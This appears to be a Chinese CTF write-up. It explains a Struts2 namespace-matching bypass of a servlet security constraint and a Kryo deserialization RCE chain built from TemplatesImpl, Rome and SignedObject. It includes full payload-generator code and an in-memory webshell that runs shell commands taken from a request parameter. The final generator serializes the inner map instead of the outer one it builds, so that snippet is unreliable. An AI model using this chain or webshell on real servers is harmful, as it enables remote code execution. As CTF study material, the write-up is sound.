Easy_S2
这题主要考察的是Struts2的路径匹配规则以及Java Web中的Security-Constraint安全约束选项。题目附件是一个.war包,将其解压之后可以直接通过Tomcat部署,代码实现也很简单。通过web.xml可以了解到整个网站的路由都被导向了中间Struts2,同时有两条安全约束项:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?xml version="1.0" encoding="UTF-8" ?> <web-app xmlns ="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" version ="3.1" > <filter > <filter-name > struts2</filter-name > <filter-class > org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class > </filter > <filter-mapping > <filter-name > struts2</filter-name > <url-pattern > /*</url-pattern > </filter-mapping > <security-constraint > <display-name > pass-static</display-name > <web-resource-collection > <web-resource-name > static</web-resource-name > <url-pattern > /img/*</url-pattern > <url-pattern > /index.jsp</url-pattern > </web-resource-collection > </security-constraint > <security-constraint > <display-name > interceptor</display-name > <web-resource-collection > <web-resource-name > flag</web-resource-name > <url-pattern > /*</url-pattern > </web-resource-collection > <auth-constraint /> </security-constraint > <login-config > <auth-method > BASIC</auth-method > </login-config > </web-app >
因为这两条安全约束项的存在,访问被限制为只有路由/img/*
和/index.jsp
可以直接访问,其余的若没有经过认证则会返回403。但现在没有有关认证用户密码相关的任何信息,于是先看看其他的配置文件。在WEB-INF/classes/struts.xml中,定义了Struts2的路由规则:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "http://struts.apache.org/dtds/struts-2.0.dtd" > <struts > <constant name ="struts.action.extension" value ="do" > </constant > <constant name ="struts.devMode" value ="false" /> <package name ="struts2" extends ="struts-default" > <action name ="index" > <result > /index.jsp</result > </action > <action name ="flag" class ="com.mycompany.helloworld.action.FlagAction" > <result > /WEB-INF/views/jsp/layouts/flag.jsp</result > </action > </package > </struts >
配置文件里将路由名称的后缀修改为了do
,除此之外有index
和flag
两个路由,index
对应一个静态页面没啥好看的,flag
对应handler是一个类,将其反编译可以发现就是读了/flag文件。
根据前面设置的安全约束已经知道直接访问/flag.do
和/index.do
都是会返回403的,此时就需要对Struts2的路径匹配规则有所了解。在Struts的官方文档中有下面一段话:
https://struts.apache.org/core-developers/namespace-configuration
Namespace are not hierarchical like a file system path. There is one namespace level. For example if the URL /barspace/myspace/bar.action
is requested, the framework will first look for namespace /barspace/myspace
. If the action does not exist at /barspace/myspace
, the search will immediately fall back to the default namespace ""
. The framework will not parse the namespace into a series of “folders”.
说的就是Struts中并不把URI中的路径当作是类似文件系统中的层次化目录来看。当Struts获取到一个URI时,首先匹配其命名空间(Namespace)。若匹配到,无论其后面跟了多少层路径,最后Struts只是继续匹配一个Action而已,将其后跟的所有路径都忽略掉;若没有匹配到,则Struts将顺着URI逐级向上继续搜索命名空间并匹配;若没有任何命名空间匹配,最终就会fallback到默认的命名空间,即/
。下面以URI/114/514/1919810.action
为例,Struts的匹配流程如下:
匹配命名空间/114/514
,若存在则匹配里面名为1919810
的Action;
若不存在则尝试匹配命名空间/114
,匹配里面名为1919810
的Action;
若仍然不存在,则fallback到默认命名空间/
,匹配里面名为1919810
的Action;
若默认命名空间里面找不到名为1919810
的Action,则返回404。
在命名空间内,Struts只匹配Action的名称是否一致。以题目中的路径匹配为例,URI /test/any/index.do
和/index.do
的效果是一致的,最终导向index
Action的匹配。
因此这题的思路就一目了然了,由于/img路由没有访问控制,/img/flag.do
和/flag.do
匹配到的Action是一致的,所以访问/img/flag.do
即可得到Flag。
Babychain
第一次认真做Java反序列化的题目,以复现和学习为主了,写的比较片面
附件是一个JAR包,使用IDEA可以直接下断点调试。参考教程
代码也很简单,Spring开了个接口,读取名为kko
的Header值,Base64解码之后交给Kryo进行反序列化。首先查看了一下这个JAR的依赖包,发现里面有Rome,搜索之后发现可以用来构造反序列化链,最终是用了TemplateImpl+Rome+SignedObject实现了RCE。
需要注意的是,题目中用到的Kryo版本是4.0.2,在Kryo5.0版本之前,其默认registrationRequired
成员未初始化,即默认为false
,意为可以直接序列化/反序列化未在Kryo中注册的类。在Kryo5.0版本及更新版本中,registrationRequired
成员为true
,则只允许对在Kryo中已注册的类进行序列化/反序列化。可以使用Kryo#setRegistrationRequired()
方法来设置这个成员的值,题目中也将其设置成了false
。默认情况下,Kryo中仅注册了Java的基本数据类型:
1 2 3 4 5 6 7 8 9 register(int .class, new IntSerializer ()); register(String.class, new StringSerializer ()); register(float .class, new FloatSerializer ()); register(boolean .class, new BooleanSerializer ()); register(byte .class, new ByteSerializer ()); register(char .class, new CharSerializer ()); register(short .class, new ShortSerializer ()); register(long .class, new LongSerializer ()); register(double .class, new DoubleSerializer ());
TemplatesImpl加载字节码
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
中定义了一个内部类TransletClassLoader
,其实现了loadClass
和defineClass
两个方法,前者的权限声明是public
,后者没有声明即为default
,也就意味着外部可以直接调用这两个方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 static final class TransletClassLoader extends ClassLoader { private final Map<String,Class> _loadedExternalExtensionFunctions; TransletClassLoader(ClassLoader parent) { super (parent); _loadedExternalExtensionFunctions = null ; } TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) { super (parent); _loadedExternalExtensionFunctions = mapEF; } public Class<?> loadClass(String name) throws ClassNotFoundException { Class<?> ret = null ; if (_loadedExternalExtensionFunctions != null ) { ret = _loadedExternalExtensionFunctions.get(name); } if (ret == null ) { ret = super .loadClass(name); } return ret; } Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); } }
但实际还是有限制的,因为这个类是一个静态类,所以只能在TemplatesImpl包内调用。于是继续看看TemplatesImpl中哪里调用了这个ClassLoader,很容易找到只有一处:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 private void defineTransletClasses () throws TransformerConfigurationException { TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class [classCount]; if (classCount > 1 ) { _auxClasses = new HashMap <>(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } } }
继续向上层搜索,可以摸出来两条调用链:
1 2 3 4 5 6 7 8 9 10 11 TemplatesImpl#getOutputProperties <--- EntryPoint 1 TemplatesImpl#newTransformer <--- EntryPoint 2 TemplatesImpl#getTransletInstance TemplatesImpl#defineTransletClasses TemplatesImpl.TransletClassLoader#defineClass TemplatesImpl#getTransletIndex TemplatesImpl#defineTransletClasses TemplatesImpl.TransletClassLoader#defineClass
但这其中的第二条链是没法生效的,原因在于defineClass
并不会实例化对象。第一条链中的getTransletInstance
方法不但加载了类,还手动调用了newInstance
来实例化;而第二条链中的getTransletIndex
没有。
注意一点,在defineClass
被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static
块中,在defineClass
时也无法被直接调用到。所以,如果我们要使用defineClass
在目标机器上执行任意代码,需要想办法调用构造函数。
——摘自Java安全漫谈
分析调用过程和源码,可以得到触发字节码加载的要求:
TemplatesImpl._name
不能为null
TemplatesImpl._tfactory
必须实例化
被加载的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
的子类
Rome反序列化链
反序列化链发生在Rome包的几个Bean类中(类前缀com.sun.syndication.feed.impl,新版本变成了com.rometools.rome.feed.impl):
ObjectBean(本身没有触发其他类方法的代码,但是该类初始化会为当前对象创建下面三个Bean类的实例)
EqualsBean
ToStringBean
CloneableBean
最终反序列化链的触发点在于每一个Bean类中都有的类似代码段(下面以EqualsBean#beanEquals
为例):
1 2 3 4 5 6 7 8 9 10 11 12 13 PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this ._beanClass); if (pds != null ) { for (int i = 0 ; eq && i < pds.length; ++i) { Method pReadMethod = pds[i].getReadMethod(); if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0 ) { Object value1 = pReadMethod.invoke(bean1, NO_PARAMS); Object value2 = pReadMethod.invoke(bean2, NO_PARAMS); eq = this .doEquals(value1, value2); } } }
这段代码读取了其包含类的所有Public的Getter,然后直接使用反射来逐一的调用了这些Getter。这段代码分别出现在以下方法中:
EqualsBean#beanEquals
(对该类调用equals
方法时调用)
ToStringBean#toString(String)
(对该类调用ToString
方法时调用)
CloneableBean#beanClone
(对该类调用clone
方法时调用)
能看出这些Bean类本身是不存在加载任何字节码或是其他代码的操作的,但是由于Bean这个标准的灵活性以及其应用的广泛性,使得这几个Bean类能够包容万物,起着一个触发性容器类的作用。于是乎,只需要寻找一个类,能够通过一个Public Getter就能执行恶意代码,就可以实现目的。上面的TemplatesImpl就很好的符合这个要求。
尝试构造Payload(Payload.class装载恶意代码,在后文给出):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import com.esotericsoftware.kryo.Kryo;import com.esotericsoftware.kryo.io.Input;import com.esotericsoftware.kryo.io.Output;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ToStringBean;import javassist.*;import org.objenesis.strategy.StdInstantiatorStrategy;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.util.Base64;import java.util.HashMap;public class chain { public static void main (String[] args) throws Exception { TemplatesImpl ti = new TemplatesImpl (); Reflections.setFieldValue(ti, "_bytecodes" , new byte [][] {ClassPool.getDefault().get(Payload.class.getName()).toBytecode()}); Reflections.setFieldValue(ti, "_name" , "1" ); Reflections.setFieldValue(ti, "_tfactory" , new TransformerFactoryImpl ()); ToStringBean delegate = new ToStringBean (Templates.class, ti); EqualsBean root = new EqualsBean (ToStringBean.class, delegate); HashMap<Object, Object> hashmap = makeMap(root, root); ByteArrayOutputStream baos = new ByteArrayOutputStream (); Kryo kryo = new Kryo (); kryo.setRegistrationRequired(false ); kryo.setInstantiatorStrategy(new StdInstantiatorStrategy ()); Output o = new Output (baos); kryo.writeClassAndObject(o, hashmap); o.close(); System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray())); } public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap <>(); Reflections.setFieldValue(s, "size" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , v1, v1, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , v2, v2, null )); Reflections.setFieldValue(s, "table" , tbl); return s; } }
发现并没有触发,下断点调试之后发现在Kryo反序列化的TemplatesImpl类实例中_tfactory
成员的值为null
:
这使得在TemplatesImpl#defineTransletClasses
方法中调用_tfactory
的方法时出现了NullPointerException
:
1 2 3 4 5 6 7 8 9 10 11 12 13 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } });
一开始百思不得其解,因为在构造序列化Payload的时候这个成员是实例化了的,直到发现_tfactory
的声明是带了transient
关键字的,序列化和反序列化默认都不会处理带有这个关键字的成员值,除非对应类重写了writeObject
和readObject
方法,且里面对transient
成员做了处理。同样的,一些Java第三方序列化库也是不支持序列化/反序列化transient
成员的,包括Kryo。
其次,关于反序列化部分需要清楚如下几点:
关于Hessian2,Hessian2Input与Hessian2Output均不能对transient
修饰的成员进行序列化或者反序列化
对于ObjectInput与ObjectOutput,除非相关类对readObject
或者writeObject
进行了重写,否则也无法对transient
修饰的成员的变量做操作
TemplateImpl的_tfactory
属性虽然是transient
修饰,但其重写了readObject
方法,方法中会生成_tfactory
的实例,这或许在本文需要着重注意。
——关于Hessian2二次反序列化中我学到了几点 - 先知社区
查看源码,发现在TemplatesImpl#readObject
方法的最后一行对_tfactory
做了实例化,这也就是使用Java内置序列化API能够正常序列化而这里使用Kryo就不行的原因。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 private void readObject (ObjectInputStream is) throws IOException, ClassNotFoundException { SecurityManager security = System.getSecurityManager(); if (security != null ){ String temp = SecuritySupport.getSystemProperty(DESERIALIZE_TRANSLET); if (temp == null || !(temp.length()==0 || temp.equalsIgnoreCase("true" ))) { ErrorMsg err = new ErrorMsg (ErrorMsg.DESERIALIZE_TRANSLET_ERR); throw new UnsupportedOperationException (err.toString()); } } ObjectInputStream.GetField gf = is.readFields(); _name = (String)gf.get("_name" , null ); _bytecodes = (byte [][])gf.get("_bytecodes" , null ); _class = (Class[])gf.get("_class" , null ); _transletIndex = gf.get("_transletIndex" , -1 ); _outputProperties = (Properties)gf.get("_outputProperties" , null ); _indentNumber = gf.get("_indentNumber" , 0 ); if (is.readBoolean()) { _uriResolver = (URIResolver) is.readObject(); } _tfactory = new TransformerFactoryImpl (); }
也就是说在Kryo的序列化环境下单靠TemplatesImpl+Rome的链子是打不通的,于是一顿搜索发现一些其他的WP中用到了SignedObject这个对象。
SignedObject二次反序列化
SignedObject是java.security
下的一个对象,顾名思义就是创建了一个签过名的对象。这个对象的神奇之处在于它要求传入的对象必须是Serializable
,而且在构造函数里就会把这个对象直接序列化。通过调用SignedObject#getObject
方法又可以将这个对象反序列化并返回。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public SignedObject (Serializable object, PrivateKey signingKey, Signature signingEngine) throws IOException, InvalidKeyException, SignatureException { ByteArrayOutputStream b = new ByteArrayOutputStream (); ObjectOutput a = new ObjectOutputStream (b); a.writeObject(object); a.flush(); a.close(); this .content = b.toByteArray(); b.close(); this .sign(signingKey, signingEngine); } public Object getObject () throws IOException, ClassNotFoundException { ByteArrayInputStream b = new ByteArrayInputStream (this .content); ObjectInput a = new ObjectInputStream (b); Object obj = a.readObject(); b.close(); a.close(); return obj; }
会发现SignedObject这个对象也符合Rome链的触发原理,而且这个类使用的是Java内置序列化API,因此此处可以通过SignedObject来进行二次反序列化:
通过Rome调用到SignedObject#getObject
反序列化包含TemplatesImpl的Rome Bean类
触发TemplatesImpl的字节码加载
调试分析
根据二次序列化包装出来的对象,可以通过下面这个图来展示。图中黄色的高亮处即为触发反序列化的点,最终执行的即为TemplatesImpl里包含的恶意类字节码。
Kryo在反序列化Hashmap的时候,最终会调用Hashmap#put
方法来还原其内容(当然Java原生反序列化在还原的时候也会调用):
进一步会调用HashMap#putVal
,可以看见里面调用了hash(key)
来取Key的Hashcode
:
hash()
方法会调用Key对象的hashCode()
方法:
此时Hashmap的Key是一个EqualsBean对象,因此跳到EqualsBean#hashCode
,调用了_obj.toString().hashCode()
:
这里的_obj
是ToStringBean对象,继续来到ToStringBean#toString()
,然后调用私有方法ToStringBean#toString(String)
:
这里开始遍历ToStringBean包含的对象的所有公共Getter并且调用,继续向下走能看见获取到了类的所有Getter,通过pReadMethod.invoke(this._obj, NO_PARAMS)
进行反射调用。
于是继续就能执行SignedObject#getObject方法,从而还原第二层Hashmap对象:
然后又进行一轮相同的EqualsBean到ToStringBean的调用,最终调用到TemplatesImpl#getOutputProperties
:
之后就进入TemplatesImpl的字节码加载链,最终在TemplatesImpl#getTransletInstance
里面从字节码中创建了恶意类的对象(即图中的LitangDingZhen.class
):
最终的Payload如下,要加载的类字节码是网上找的一个内存马实现,似乎还有长度限制但这个内存马的长度并没有超过,有关内存马和Payload长度缩短的打算再专门研究一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import com.esotericsoftware.kryo.Kryo;import com.esotericsoftware.kryo.io.Input;import com.esotericsoftware.kryo.io.Output;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ToStringBean;import javassist.*;import org.objenesis.strategy.StdInstantiatorStrategy;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.security.*;import java.util.Base64;import java.util.HashMap;public class chain { public static void main (String[] args) throws Exception { TemplatesImpl ti = new TemplatesImpl (); Reflections.setFieldValue(ti, "_bytecodes" , new byte [][] {ClassPool.getDefault().get(Payload.class.getName()).toBytecode()}); Reflections.setFieldValue(ti, "_name" , "1" ); Reflections.setFieldValue(ti, "_tfactory" , new TransformerFactoryImpl ()); ToStringBean delegate = new ToStringBean (Templates.class, ti); EqualsBean root = new EqualsBean (ToStringBean.class, delegate); HashMap<Object, Object> hashmap = makeMap(root, root); KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA" ); keyPairGenerator.initialize(1024 ); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signature = Signature.getInstance(privateKey.getAlgorithm()); SignedObject signedObject = new SignedObject (hashmap, privateKey, signature); ToStringBean item = new ToStringBean (SignedObject.class, signedObject); EqualsBean root1 = new EqualsBean (ToStringBean.class, item); HashMap<Object, Object> hashmap1 = makeMap(root1,"" ); ByteArrayOutputStream baos = new ByteArrayOutputStream (); Kryo kryo = new Kryo (); kryo.setRegistrationRequired(false ); kryo.setInstantiatorStrategy(new StdInstantiatorStrategy ()); Output o = new Output (baos); kryo.writeClassAndObject(o, hashmap); o.close(); System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray())); } public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap <>(); Reflections.setFieldValue(s, "size" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , v1, v1, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , v2, v2, null )); Reflections.setFieldValue(s, "table" , tbl); return s; } }
内存马:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.connector.Request;import org.apache.catalina.connector.RequestFacade;import org.apache.catalina.connector.Response;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import java.io.Writer;import java.lang.reflect.Field;import java.util.Scanner;public class Payload extends AbstractTranslet { static { try { RequestFacade requestFacade = (RequestFacade) ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest(); Field req = requestFacade.getClass().getDeclaredField("request" ); req.setAccessible(true ); Request request = (Request) req.get(requestFacade); Response response = request.getResponse(); String cmd = request.getParameter("cmd" ); if (cmd != null ) { Writer writer = response.getWriter(); Field usingWriter = Response.class.getDeclaredField("usingWriter" ); usingWriter.setAccessible(true ); usingWriter.set(response, Boolean.FALSE); String o = "" ; ProcessBuilder p = new ProcessBuilder ("/bin/sh" , "-c" , cmd); Scanner c = new Scanner (p.start().getInputStream()).useDelimiter("\\\\A" ); o = c.hasNext() ? c.next(): o; System.out.println("called" ); c.close(); writer.write(o); writer.flush(); } } catch (Exception e) { e.printStackTrace(); } } public Payload () {} @Override public void transform (DOM document, SerializationHandler[] handlers) {} @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) {} }
Reference
Do Not Touch My Localhost
// TODO